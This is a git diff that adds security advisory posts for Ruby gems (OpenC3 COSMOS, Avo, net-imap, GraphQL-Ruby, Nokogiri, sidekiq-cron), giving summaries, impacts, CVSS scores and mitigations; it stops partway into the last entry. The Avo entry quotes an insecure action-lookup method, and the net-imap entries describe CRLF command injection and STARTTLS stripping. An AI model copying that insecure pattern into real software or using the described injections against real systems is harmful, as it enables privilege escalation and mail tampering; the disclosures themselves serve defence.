@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'GHSA-2wvh-87g2-89hr (openc3): OpenC3 COSMOS - Permissions Bypass Provides
+ User Access to Unassigned Administrative Actions via Script Runner Tool'
+comments: false
+categories:
+- openc3
+advisory:
+ gem: openc3
+ ghsa: 2wvh-87g2-89hr
+ url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-2wvh-87g2-89hr
+ title: OpenC3 COSMOS - Permissions Bypass Provides User Access to Unassigned Administrative
+ Actions via Script Runner Tool
+ date: 2026-04-23
+ description: |-
+ Vulnerability Type: Execution with Unnecessary Privileges Attack
+ type: Authenticated remote
+
+ Impact: Data disclosure/manipulation, privilege escalation
+
+ Affected components:
+
+ * The following docker images: Openc3inc/openc3-COSMOS-script-runner-api
+
+ The Script Runner widget allows users to execute Python and Ruby
+ scripts directly from the openc3-COSMOS-script-runner-api container.
+ Because all the docker containers share a network, users can execute
+ specially crafted scripts to bypass the API permissions check and
+ perform administrative actions, including reading and modifying data
+ inside the Redis database, which can be used to read secrets and
+ change COSMOS settings, as well as read and write to the buckets
+ service, which holds configuration, log,and plugin files. These
+ actions are normally only available from the Admin Console or with
+ administrative privileges. Any user with permission to create and
+ run scripts can connect to any service in the docker network.
+
+ ## Recommendations
+
+ * Limit the permissions of the script runner API to prevent lower
+ level users from performing administrative actions.
+ cvss_v3: 9.6
+ patched_versions:
+ - ">= 7.0.0"
+ related:
+ url:
+ - https://github.com/OpenC3/cosmos/security/advisories/GHSA-2wvh-87g2-89hr
+ - https://rubygems.org/gems/openc3/versions/7.0.0
+ - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0
+ - https://www.linkedin.com/posts/vulert_critical-permissions-bypass-in-openc3-cosmos-activity-7453420840760774656-RMv1
+ - https://www.miggo.io/vulnerability-database/cve/GHSA-2wvh-87g2-89hr
+ - https://github.com/advisories/GHSA-2wvh-87g2-89hr
+---
diff --git a/advisories/_posts/2026-04-24-CVE-2026-42205.md b/advisories/_posts/2026-04-24-CVE-2026-42205.md
new file mode 100644
index 00000000..28f06f26
--- /dev/null
+++ b/advisories/_posts/2026-04-24-CVE-2026-42205.md
@@ -0,0 +1,79 @@
+---
+layout: advisory
+title: 'CVE-2026-42205 (avo): Broken Access Control Through Unauthorized Execution
+ of Arbitrary Action Classes Across Resources'
+comments: false
+categories:
+- avo
+advisory:
+ gem: avo
+ cve: 2026-42205
+ ghsa: qc5p-3mg5-9fh8
+ url: https://github.com/avo-hq/avo/security/advisories/GHSA-qc5p-3mg5-9fh8
+ title: Broken Access Control Through Unauthorized Execution of Arbitrary Action
+ Classes Across Resources
+ date: 2026-04-24
+ description: |-
+ ### Summary
+
+ A critical Broken Access Control vulnerability was identified in the
+ `ActionsController` of the Avo framework (v3.x). Due to insecure
+ action lookup logic, an authenticated user can execute any Action
+ class (descendants of `Avo::BaseAction`) on any resource, even if
+ the action is not registered for that specific resource. This leads
+ to Privilege Escalation and unauthorized data manipulation across
+ the entire application.
+
+ ### Details
+
+ The vulnerability exists in the `action_class` method within
+ `app/controllers/avo/actions_controller.rb`.
+
+ #### Vulnerable Code
+
+ ```ruby
+ def action_class
+ # It searches through ALL descendants of BaseAction without
+ # resource validation.
+ Avo::BaseAction.descendants.find do |action|
+ action.to_s == params[:action_id]
+ end
+ end
+ ```
+
+ The controller identifies the action class to execute solely based
+ on the `params[:action_id]` by searching through all `BaseAction`
+ descendants. It fails to verify whether the requested action is
+ actually permitted or registered for the resource context specified
+ in the request URL (e.g., `/admin/resources/posts/actions`).
+
+ Consequently, an attacker can invoke sensitive actions (e.g.,
+ `Avo::Actions::ToggleAdmin`) through an unrelated resource endpoint
+ (e.g., `Post`), bypassing the intended resource-action mapping.
+
+ ### Impact
+
+ This flaw results in significant security risks:
+
+ - **Privilege Escalation:** An authenticated user with low privileges
+ can execute administrative actions (like toggling admin roles) to
+ escalate their own or others' permissions.
+ - **Unauthorized Operations:** Actions designed for restricted
+ resources can be triggered against any record ID in the database.
+ - **Data Integrity Compromise:** Attackers can perform unauthorized
+ destructive operations (e.g., Delete, Archive, or Update) on records
+ they should not have access to.
+
+ ### CREDIT
+
+ Illunight
+ cvss_v3: 8.8
+ patched_versions:
+ - ">= 3.31.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-42205
+ - https://github.com/avo-hq/avo/releases/tag/v3.31.1
+ - https://github.com/avo-hq/avo/security/advisories/GHSA-qc5p-3mg5-9fh8
+ - https://github.com/advisories/GHSA-qc5p-3mg5-9fh8
+---
diff --git a/advisories/_posts/2026-05-04-CVE-2026-42245.md b/advisories/_posts/2026-05-04-CVE-2026-42245.md
new file mode 100644
index 00000000..e9deee4b
--- /dev/null
+++ b/advisories/_posts/2026-05-04-CVE-2026-42245.md
@@ -0,0 +1,75 @@
+---
+layout: advisory
+title: 'CVE-2026-42245 (net-imap): net-imap has quadratic complexity when reading
+ response literals'
+comments: false
+categories:
+- net-imap
+advisory:
+ gem: net-imap
+ cve: 2026-42245
+ ghsa: q2mw-fvj9-vvcw
+ url: https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw
+ title: net-imap has quadratic complexity when reading response literals
+ date: 2026-05-04
+ description: |-
+ ### Summary
+
+ `Net::IMAP::ResponseReader` has quadratic time complexity when reading large
+ responses containing many string literals. A hostile server can send
+ responses which are crafted to exhaust the client's CPU for a denial of
+ service attack.
+
+ ### Details
+
+ For each literal in a response, `ResponseReader` rescans the entire growing
+ response buffer. The regular expression that is used to scan the response
+ buffer runs in linear time. With many literals, this becomes O(n²) total
+ work. The regular expression should run in constant time: it is anchored to
+ the end and only the last 23 bytes of the buffer are relevant.
+
+ Because the algorithmic complexity is super-linear, this bypasses protection
+ from `max_response_size`: a response can stay well below the default size
+ limit while still causing very large CPU cost.
+
+ `Net::IMAP::ResponseReader` runs continuously in the receiver thread until the
+ connection closes.
+
+ ### Impact
+
+ This consumes disproportionate CPU time in the client's receiver thread. A
+ hostile server could use this to exhaust the client's CPU for a denial of
+ service attack.
+
+ For a response near the default `max_response_size`, each individual regexp
+ scan could take between 100 to 200ms on common modern hardware, and this may
+ be repeated 200k times per megabyte of response. While the regexp is
+ scanning, it retains the Global VM lock, preventing other threads from
+ running.
+
+ Although other threads should not be _completely_ blocked, their run time will
+ be significantly impacted.
+
+ ### Mitigation
+ * Upgrade to a patched version of net-imap that reads responses more efficiently.
+ * Do not connect to untrusted IMAP servers.
+ * When connecting to untrusted servers, a _much_ smaller `max_response_size`
+ (for example: 8KiB) will limit the impact. Although this is too small for
+ fetching unpaginated message bodies, it should be enough for most other
+ operations.
+ cvss_v4: 2.3
+ patched_versions:
+ - "~> 0.4.24"
+ - "~> 0.5.14"
+ - ">= 0.6.4"
+ related:
+ url:
+ - https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw
+ - https://github.com/ruby/net-imap/commit/6091f7d6b1f3514cafbfe39c76f2b5d73de3ca96
+ - https://github.com/ruby/net-imap/commit/88d95231fc8afef11c1f074453f7d75b68c9dfda
+ - https://github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819
+ - https://github.com/ruby/net-imap/releases/tag/v0.4.24
+ - https://github.com/ruby/net-imap/releases/tag/v0.5.14
+ - https://github.com/ruby/net-imap/releases/tag/v0.6.4
+ - https://github.com/advisories/GHSA-q2mw-fvj9-vvcw
+---
diff --git a/advisories/_posts/2026-05-04-CVE-2026-42246.md b/advisories/_posts/2026-05-04-CVE-2026-42246.md
new file mode 100644
index 00000000..f7b2c45f
--- /dev/null
+++ b/advisories/_posts/2026-05-04-CVE-2026-42246.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'CVE-2026-42246 (net-imap): net-imap vulnerable to STARTTLS stripping via invalid
+ response timing'
+comments: false
+categories:
+- net-imap
+advisory:
+ gem: net-imap
+ cve: 2026-42246
+ ghsa: vcgp-9326-pqcp
+ url: https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp
+ title: net-imap vulnerable to STARTTLS stripping via invalid response timing
+ date: 2026-05-04
+ description: |-
+ ### Summary
+
+ A man-in-the-middle attacker can cause `Net::IMAP#starttls` to return
+ "successfully", without starting TLS.
+
+ ### Details
+
+ When using `Net::IMAP#starttls` to upgrade a plaintext connection to use TLS,
+ a man-in-the-middle attacker can inject a tagged `OK` response with an easily
+ predictable tag. By sending the response before the client finishes sending
+ the command, the command completes "successfully" before the response handler
+ is registered. This allows `#starttls` to return without error, but the
+ response handler is never invoked, the TLS connection is never established,
+ and the socket remains unencrypted.
+
+ This allows man-in-the-middle attackers to perform a STARTTLS stripping
+ attack, unless the client code explicitly checks `Net::IMAP#tls_verified?`.
+
+ ### Impact
+
+ TLS bypass, leading to cleartext transmission of sensitive information.
+
+ ### Mitigation
+
+ * Upgrade to a patched version of net-imap that raises an exception whenever
+ `#starttls` does not establish TLS.
+ * Connect to an implicit TLS port, rather than use `STARTTLS` with a cleartext
+ port.
+ This is strongly recommended anyway:
+ * [RFC 8314](https://www.rfc-editor.org/info/rfc8314): Cleartext Considered
+ Obsolete: Use of Transport Layer Security (TLS) for Email Submission and
+ Access
+ * [NO STARTTLS](https://nostarttls.secvuln.info/): Why TLS is better without
+ STARTTLS, A Security Analysis of STARTTLS in the Email Context
+ * Explicitly verify `Net::IMAP#tls_verified?` is `true`, before using the
+ connection after `#starttls`.
+ cvss_v4: 7.6
+ patched_versions:
+ - "~> 0.3.10"
+ - "~> 0.4.24"
+ - "~> 0.5.14"
+ - ">= 0.6.4"
+ related:
+ url:
+ - https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp
+ - https://github.com/ruby/net-imap/commit/0ede4c40b1523dfeaf95777b2678e54cc0fd9618
+ - https://github.com/ruby/net-imap/commit/24a4e770b43230286a05aa2a9746cdbb3eb8485e
+ - https://github.com/ruby/net-imap/commit/97e2488fb5401a1783bddd959dde007d9fbce42c
+ - https://github.com/ruby/net-imap/commit/f79d35bf5833f186e81044c57c843eda30c873da
+ - https://github.com/ruby/net-imap/releases/tag/v0.3.10
+ - https://github.com/ruby/net-imap/releases/tag/v0.4.24
+ - https://github.com/ruby/net-imap/releases/tag/v0.5.14
+ - https://github.com/ruby/net-imap/releases/tag/v0.6.4
+ - https://nostarttls.secvuln.info
+ - https://www.rfc-editor.org/info/rfc8314
+ - https://github.com/advisories/GHSA-vcgp-9326-pqcp
+---
diff --git a/advisories/_posts/2026-05-04-CVE-2026-42256.md b/advisories/_posts/2026-05-04-CVE-2026-42256.md
new file mode 100644
index 00000000..85783787
--- /dev/null
+++ b/advisories/_posts/2026-05-04-CVE-2026-42256.md
@@ -0,0 +1,89 @@
+---
+layout: advisory
+title: 'CVE-2026-42256 (net-imap): net-imap vulnerable to denial of service via high
+ iteration count for `SCRAM-*` authentication'
+comments: false
+categories:
+- net-imap
+advisory:
+ gem: net-imap
+ cve: 2026-42256
+ ghsa: 87pf-fpwv-p7m7
+ url: https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7
+ title: net-imap vulnerable to denial of service via high iteration count for `SCRAM-*`
+ authentication
+ date: 2026-05-04
+ description: |-
+ ### Summary
+
+ When authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a
+ hostile server can perform a computational denial-of-service attack on the
+ client process by sending a big iteration count value.
+
+ ### Details
+
+ A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in
+ the SCRAM server-first-message, causing the client to perform an expensive
+ `OpenSSL::KDF.pbkdf2_hmac` call. Because the PBKDF2 function is a blocking C
+ extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby
+ VM for the duration of the computation.
+
+ OpenSSL enforces an effective maximum by using a 32-bit signed integer for the
+ iteration count, Depending on hardware capabilities and OpenSSL version, this
+ iteration count may be sufficient for to block all Ruby threads in the process
+ for over seven minutes.
+
+ This is listed as one of the \"Security Considerations\", in [RFC
+ 7804](https://www.rfc-editor.org/rfc/rfc7804.html#page-15):
+
+ > A hostile server can perform a computational denial-of-service attack on
+ > clients by sending a big iteration count value. In order to defend against
+ > that, a client implementation can pick a maximum iteration count that it is
+ > willing to use and reject any values that exceed that threshold (in such
+ > cases, the client, of course, has to fail the authentication).
+
+ ### Impact
+
+ During SCRAM authentication to a hostile server, the entire Ruby VM will be
+ locked for the duration of the computation. Depending on hardware
+ capabilities and OpenSSL version, this may take many minutes.
+
+ `OpenSSL::KDF.pbkdf2_hmac` is a blocking C function, so `Timeout` cannot be
+ used to guard against this. And it retains the Global VM lock, so other ruby
+ threads will also be unable to run.
+
+ ### Mitigation
+
+ * Upgrade to a patched version of `net-imap` that adds the `max_iterations`
+ option to the `SASL-*` authenticators, and call `Net::IMAP#authenticate`
+ with a `max_iterations` keyword argument.
+
+ **NOTE:** The default `max_iterations` is `2³¹ - 1`, the maximum signed 32
+ bit integer, the maximum allowed by OpenSSL.
+
+ _To prevent a denial of service attack,_ this must be set to a safe value,
+ depending on hardware and version of OpenSSL. _It is the user's
+ responsibility_ to enforce minimum and maximum iteration counts that are
+ appropriate for their security context.
+
+ * Alternatively, avoid `SCRAM-*` mechanisms when authenticating to untrusted
+ servers.
+ cvss_v4: 6.0
+ unaffected_versions:
+ - "< 0.4.0"
+ patched_versions:
+ - "~> 0.4.24"
+ - "~> 0.5.14"
+ - ">= 0.6.4"
+ related:
+ url:
+ - https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7
+ - https://github.com/ruby/net-imap/commit/158d0b505074397cdb5ceb58935e42dd2bcfa612
+ - https://github.com/ruby/net-imap/commit/808001bc45c06f7297a7e96d341279e041a7f7f4
+ - https://github.com/ruby/net-imap/commit/99f59eab6064955a23debd95410263ad144df758
+ - https://github.com/ruby/net-imap/releases/tag/v0.4.24
+ - https://github.com/ruby/net-imap/releases/tag/v0.5.14
+ - https://github.com/ruby/net-imap/releases/tag/v0.6.4
+ - https://www.rfc-editor.org/rfc/rfc7804.html#page-15
+ - https://github.com/advisories/GHSA-87pf-fpwv-p7m7
+---
diff --git a/advisories/_posts/2026-05-04-CVE-2026-42257.md b/advisories/_posts/2026-05-04-CVE-2026-42257.md
new file mode 100644
index 00000000..5dbb7642
--- /dev/null
+++ b/advisories/_posts/2026-05-04-CVE-2026-42257.md
@@ -0,0 +1,129 @@
+---
+layout: advisory
+title: 'CVE-2026-42257 (net-imap): net-imap vulnerable to command Injection via "raw"
+ arguments to multiple commands'
+comments: false
+categories:
+- net-imap
+advisory:
+ gem: net-imap
+ cve: 2026-42257
+ ghsa: hm49-wcqc-g2xg
+ url: https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg
+ title: net-imap vulnerable to command Injection via "raw" arguments to multiple
+ commands
+ date: 2026-05-04
+ description: |-
+ ### Summary
+
+ Several `Net::IMAP` commands accept a raw string argument that is sent to the
+ server without validation or escaping. If this string is derived from
+ user-controlled input, it may contain contain `CRLF` sequences, which an
+ attacker can use to inject arbitrary IMAP commands.
+
+ ### Details
+
+ `Net::IMAP`'s generic argument handling, used by most command arguments,
+ interprets string arguments as an IMAP `astring`. Depending on the string
+ contents and the connection's UTF-8 support, this encodes strings as either a
+ `atom`, `quoted`, or `literal`. These are safe from command or argument
+ injection.
+
+ But the following commands transform specific String arguments to
+ `Net::IMAP::RawData`, which bypasses normal argument validation and encoding
+ and prints the string directly to the socket:
+
+ * `#uid_search`, `#search`
+ * when `criteria` is a String, it is sent raw
+ * `#uid_fetch`, `#fetch`
+ * when `attr` is a String, it is sent raw
+ * when `attr` is an Array, each String in `attr` is sent raw
+ * `#uid_store`, `#store`
+ * when `attr` is a String, it is sent raw
+ * `#setquota`:
+ * `limit` is interpolated with `#to_s` and that string is sent raw
+
+ Because these string arguments are sent without any neutralization, they serve
+ as a direct vector for command splitting. Any user controlled data
+ interpolated into these strings can be used to break out of the intended
+ command context.
+
+ Using "raw data" arguments for `#uid_store`, `#store`, and `#setquota` I both
+ inappropriate and unnecessary. `Net::IMAP`'s generic argument handling is
+ sufficient to safely validate and encode their arguments. Users of the
+ library probably do not expect arguments to these commands to be sent raw and
+ might not be wary of passing unvalidated input.
+
+ The API for search criteria and fetch attributes is intentionally low-level
+ and "close to the wire". It allows developers to use some IMAP extensions
+ without requiring explicit support from the library and allows developers to
+ use complex IMAP grammar without complex argument translation. Even so, basic
+ validation is appropriate and could neutralize command injection.
+
+ Although this was explicitly documented for search `criteria`, it was
+ insufficiently documented for fetch `attr`. So developers may not have
+ realized that the `attr` argument to `#fetch` and `#uid_fetch` is sent as "raw
+ data".
+
+ ### Impact
+
+ If a developer passes an unvalidated user-controlled input for one of these
+ method arguments, an attacker can append CRLF sequence followed by a new IMAP
+ command (like DELETE mailbox). Although this does not _directly_ enable data
+ exfiltration, it could be combined with other attack vectors or knowledge of
+ the target system's attributes, e.g.: shared mail folders or the application's
+ installed response handlers.
+
+ The SEARCH, STORE, and FETCH commands, and their UID variants are some of the
+ most commonly used features of the library. Applications that build search
+ queries or fetch attributes dynamically based on user input (e.g., mail
+ clients or archival tools) may be at significant risk.
+
+ Expected use of `Net::IMAP#setquota` is much more limited: `SETQUOTA` is often
+ only usable by users with special administrative privileges. Depending on the
+ server, quota administration might be managed through server configuration
+ rather than via the IMAP protocol `SETQUOTA` command. It is expected to be
+ uncommonly used in system administration scripts or in interactive sessions,
+ it should be completely controlled by trusted users, and should only use
+ trusted inputs. Calling `#setquota` with untrusted user input is expected to
+ be a very uncommon use case. Please note however this might be combined with
+ other attacks, for example CSRF, which provide unauthorized access to trusted
+ inputs, and may specifically target users or scripts with administrator
+ privileges.
+
+ ### Mitigation
+
+ - Update to a patched version of `net-imap` which:
+ - validates that `Net::IMAP::RawData` is composed of well-formed IMAP
+ `text`, `literal`, and `literal8` values, with no unescaped `NULL`, `CR`,
+ or `LF` bytes.
+ - does not use `Net::IMAP::RawData` for `#store`, `#uid_store`, or
+ `#setquota`.
+ - Prefer to send search criteria as an array of key value pairs. Avoid
+ sending it as an interpolated string.
+ - If an immediate upgrade is not possible:
+ - String inputs to search criteria and fetch attributes can be validated
+ against command injection by checking for `\r` and `\n` characters.
+ - Hard-coding the store `attr` argument is often appropriate.
+ Alternatively, user controlled inputs can be restricted to a small
+ enumerated list which is valid for the calling application.
+ - Use `Kernel#Integer` to coerce and validate user controlled inputs to
+ `#setquota` limit.
+ cvss_v4: 5.8
+ patched_versions:
+ - "~> 0.4.24"
+ - "~> 0.5.14"
+ - ">= 0.6.4"
+ related:
+ url:
+ - https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg
+ - https://github.com/ruby/net-imap/commit/0ec4fd351263e8b9a4f683713427827b7b1ad974
+ - https://github.com/ruby/net-imap/commit/47c72186d272441878ca73c9499f66013829ca2f
+ - https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b
+ - https://github.com/ruby/net-imap/commit/a4f7649c3da77dec7631f03a037a478eb4330048
+ - https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71
+ - https://github.com/ruby/net-imap/releases/tag/v0.4.24
+ - https://github.com/ruby/net-imap/releases/tag/v0.5.14
+ - https://github.com/ruby/net-imap/releases/tag/v0.6.4
+ - https://github.com/advisories/GHSA-hm49-wcqc-g2xg
+---
diff --git a/advisories/_posts/2026-05-04-CVE-2026-42258.md b/advisories/_posts/2026-05-04-CVE-2026-42258.md
new file mode 100644
index 00000000..177f57c3
--- /dev/null
+++ b/advisories/_posts/2026-05-04-CVE-2026-42258.md
@@ -0,0 +1,89 @@
+---
+layout: advisory
+title: 'CVE-2026-42258 (net-imap): net-imap vulnerable to command Injection via unvalidated
+ Symbol inputs'
+comments: false
+categories:
+- net-imap
+advisory:
+ gem: net-imap
+ cve: 2026-42258
+ ghsa: 75xq-5h9v-w6px
+ url: https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px
+ title: net-imap vulnerable to command Injection via unvalidated Symbol inputs
+ date: 2026-05-04
+ description: |-
+ ### Summary
+
+ Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command
+ injection via Symbol arguments passed to IMAP commands.
+
+ ### Details
+
+ Symbol arguments represent IMAP "system flags", which are formatted as "atoms"
+ (with no quoting) with a `"\"` prefix. Vulnerable versions of Net::IMAP sends
+ the symbol name directly to the socket, with no validation.
+
+ Because the Symbol input is unvalidated, it could contain invalid `flag`
+ characters, including `SP` and `CRLF`, which could be used to finish the
+ current command and inject new commands.
+
+ Although IMAP `flag` arguments are only valid input for a few IMAP commands,
+ most Net::IMAP commands use generic argument handling, and will allow Symbol
+ (`flag`) inputs.
+
+ Note also that the list of valid symbol inputs should be restricted to an
+ enumerated set of standard RFC defined flag types, which have each been given
+ specific defined semantics. Any user-provided values outside of that list of
+ standard "system flags" needs to use the IMAP `keyword` syntax, which are sent
+ as atoms, i.e: string inputs. Under no circumstances should `#to_sym` ever be
+ called on unvetted user-provided input: that will always be a bug in the
+ calling code for the simple reason that `user_input_atom` is as
+ `\user_input_atom`.
+
+ For forward compatibility with future IMAP extentions, Net::IMAP, does not
+ restrict flag inputs to an enumerated list. That is the responsibility of the
+ calling application code, which knows which flag semantics are valid for its
+ context.
+
+ ### Impact
+
+ If a developer passes user-controlled input as a Symbol to most Net::IMAP
+ commands, an attacker can append CRLF sequence followed by a new IMAP command
+ (like `DELETE mailbox`).
+
+ ### Mitigation
+ * Upgrade to a version of Net::IMAP that validates Symbols are valid as an
+ IMAP `flag`.
+
+ * User-provided input should never be able to control calling `#to_sym` on
+ string arguments.
+
+ For example, do not unsafely serialize and deserialize command arguments
+ (e.g. with YAML or Marshal) in a way that could create unvetted Symbol
+ arguments.
+
+ * For the few IMAP commands which do allow `flag` arguments, it may be
+ appropriate to hard-code Symbol arguments or restrict them to an enumerated
+ list which is valid for the calling application.
+ cvss_v3: 7.1
+ cvss_v4: 5.8
+ patched_versions:
+ - "~> 0.4.24"
+ - "~> 0.5.14"
+ - ">= 0.6.4"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-42258
+ - https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px
+ - https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b
+ - https://github.com/ruby/net-imap/commit/9db3e9d60bfb8f3735ea95015bf8a700f4af9cbb
+ - https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71
+ - https://github.com/ruby/net-imap/releases/tag/v0.4.24
+ - https://github.com/ruby/net-imap/releases/tag/v0.5.14
+ - https://github.com/ruby/net-imap/releases/tag/v0.6.4
+ - https://github.com/advisories/GHSA-75xq-5h9v-w6px
+ notes: |
+ - cvss_v4 from GHSA
+ - cvss_v3 from nvd.nist.gov URL (also had 5.3 too)
+---
diff --git a/advisories/_posts/2026-05-05-GHSA-3h96-34p3-xm76.md b/advisories/_posts/2026-05-05-GHSA-3h96-34p3-xm76.md
new file mode 100644
index 00000000..c84e905e
--- /dev/null
+++ b/advisories/_posts/2026-05-05-GHSA-3h96-34p3-xm76.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'GHSA-3h96-34p3-xm76 (graphql): GraphQL-Ruby''s Ruby lexer does not count comment
+ tokens for the purposes of max_query_string_tokens'
+comments: false
+categories:
+- graphql
+advisory:
+ gem: graphql
+ ghsa: 3h96-34p3-xm76
+ url: https://github.com/rmosolgo/graphql-ruby/security/advisories/GHSA-3h96-34p3-xm76
+ title: GraphQL-Ruby's Ruby lexer does not count comment tokens for the purposes
+ of max_query_string_tokens
+ date: 2026-05-05
+ description: |-
+ GraphQL-Ruby's `max_query_string_tokens` configuration didn't count
+ comment tokens against the limit, allowing strings to be processed
+ even after the configured maximum had actually been reached.
+
+ In patched versions, the Ruby lexer does count these tokens.
+
+ GraphQL-CParser is not affected by this problem.
+
+ `max_query_string_tokens` was introduced in v2.3.1. Each 2.x
+ version has received a new patch release for including a fix.
+ cvss_v3: 5.3
+ unaffected_versions:
+ - "< 2.3.1"
+ patched_versions:
+ - "~> 2.3.23"
+ - "~> 2.4.18"
+ - "~> 2.5.26"
+ - ">= 2.6.1"
+ related:
+ url:
+ - https://github.com/rmosolgo/graphql-ruby/blob/master/CHANGELOG.md#261
+ - https://github.com/rmosolgo/graphql-ruby/commit/2a8d95680bf1ed9bb7c0d89345a736f57b10877b
+ - https://github.com/rmosolgo/graphql-ruby/pull/4929
+ - https://github.com/rmosolgo/graphql-ruby/security/advisories/GHSA-3h96-34p3-xm76
+ - https://github.com/advisories/GHSA-3h96-34p3-xm76
+---
diff --git a/advisories/_posts/2026-05-06-GHSA-c4rq-3m3g-8wgx.md b/advisories/_posts/2026-05-06-GHSA-c4rq-3m3g-8wgx.md
new file mode 100644
index 00000000..66a08acb
--- /dev/null
+++ b/advisories/_posts/2026-05-06-GHSA-c4rq-3m3g-8wgx.md
@@ -0,0 +1,57 @@
+---
+layout: advisory
+title: 'GHSA-c4rq-3m3g-8wgx (nokogiri): Nokogiri CSS selector tokenizer has regular
+ expression backtracking'
+comments: false
+categories:
+- nokogiri
+advisory:
+ gem: nokogiri
+ ghsa: c4rq-3m3g-8wgx
+ url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-c4rq-3m3g-8wgx
+ title: Nokogiri CSS selector tokenizer has regular expression backtracking
+ date: 2026-05-06
+ description: |-
+ ## Summary
+
+ Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release:
+
+ 1. String-literal tokenization on certain unterminated quoted-string input.
+ 2. String-literal tokenization on a separate class of hex-escape-rich input.
+ 3. Identifier tokenization on hex-escape-rich input.
+
+ The public CSS selector methods that funnel through the affected tokenizer are `Nokogiri::CSS.xpath_for`, `Node#css`, `Node#at_css`, `Searchable#search`, and `CSS::Parser#parse`.
+
+
+ ## Mitigation
+
+ Upgrade to Nokogiri `>= 1.19.3`.
+
+ If users are unable to upgrade, two options are available:
+
+ - Avoid the use of attacker-controlled text in CSS selectors. Applications that only pass developer-authored selectors to Nokogiri are not directly exposed.
+ - Set global `Regexp.timeout` (Ruby 3.2+, JRuby 9.4+) to bound parse time.
+
+ ## Severity
+
+ The Nokogiri maintainers have evaluated this as **High Severity** (CVSS 7.5, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`).
+
+ An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service.
+
+
+ ## Resources
+
+ - [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)
+
+
+ ## Credit
+
+ Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report.
+ cvss_v3: 7.5
+ patched_versions:
+ - ">= 1.19.3"
+ related:
+ url:
+ - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-c4rq-3m3g-8wgx
+ - https://github.com/advisories/GHSA-c4rq-3m3g-8wgx
+---
diff --git a/advisories/_posts/2026-05-06-GHSA-v2fc-qm4h-8hqv.md b/advisories/_posts/2026-05-06-GHSA-v2fc-qm4h-8hqv.md
new file mode 100644
index 00000000..a8d698d0
--- /dev/null
+++ b/advisories/_posts/2026-05-06-GHSA-v2fc-qm4h-8hqv.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'GHSA-v2fc-qm4h-8hqv (nokogiri): Nokogiri XSLT transform has a memory leak'
+comments: false
+categories:
+- nokogiri
+advisory:
+ gem: nokogiri
+ ghsa: v2fc-qm4h-8hqv
+ url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-v2fc-qm4h-8hqv
+ title: Nokogiri XSLT transform has a memory leak
+ date: 2026-05-06
+ description: |-
+ ## Summary
+
+ Nokogiri's `Nokogiri::XSLT::Stylesheet#transform` leaks a small heap allocation when passed a Ruby string parameter containing a null byte.
+
+ For applications that pass attacker-controlled input through `XSLT.transform` parameters, this may be a vector for a denial of service attack against long-running processes.
+
+
+ ## Mitigation
+
+ Upgrade to Nokogiri `>= 1.19.3`.
+
+ Users may also be able to mitigate this issue without upgrading by validating untrusted transform parameters before passing them to `Nokogiri::XSLT::Stylesheet#transform`.
+
+
+ ## Severity
+
+ The Nokogiri maintainers have evaluated this as **Moderate Severity**, CVSS 5.3.
+
+ Each leaked allocation is approximately 24–32 bytes, so meaningful memory growth requires sustained attacker-controlled traffic at high call rates. The bug does not cause memory corruption, information disclosure, or any change in the behavior of the transform itself, and the string-handling exception is raised as expected.
+
+ Applications that do not pass raw attacker-controlled bytes to XSLT parameters are unlikely to be affected in practice.
+
+
+ ## Resources
+
+ - [CWE-401: Missing Release of Memory after Effective Lifetime](https://cwe.mitre.org/data/definitions/401.html)
+
+
+ ## Credit
+
+ This vulnerability was responsibly reported by @Captainjack-kor.
+ cvss_v3: 5.3
+ patched_versions:
+ - ">= 1.19.3"
+ related:
+ url:
+ - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-v2fc-qm4h-8hqv
+ - https://github.com/advisories/GHSA-v2fc-qm4h-8hqv
+---
diff --git a/advisories/_posts/2026-05-07-CVE-2025-67202.md b/advisories/_posts/2026-05-07-CVE-2025-67202.md
new file mode 100644
index 00000000..066c27fd
--- /dev/null
+++ b/advisories/_posts/2026-05-07-CVE-2025-67202.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2025-67202 (sidekiq-cron): Sidekiq-cron is vulnerable to a cross-site
+ scripting (xss) vulnerability via crafted URL'
+comments: false
+categories:
+- sidekiq-cron
+advisory:
+ gem: sidekiq-cron
+ cve: 2025-67202
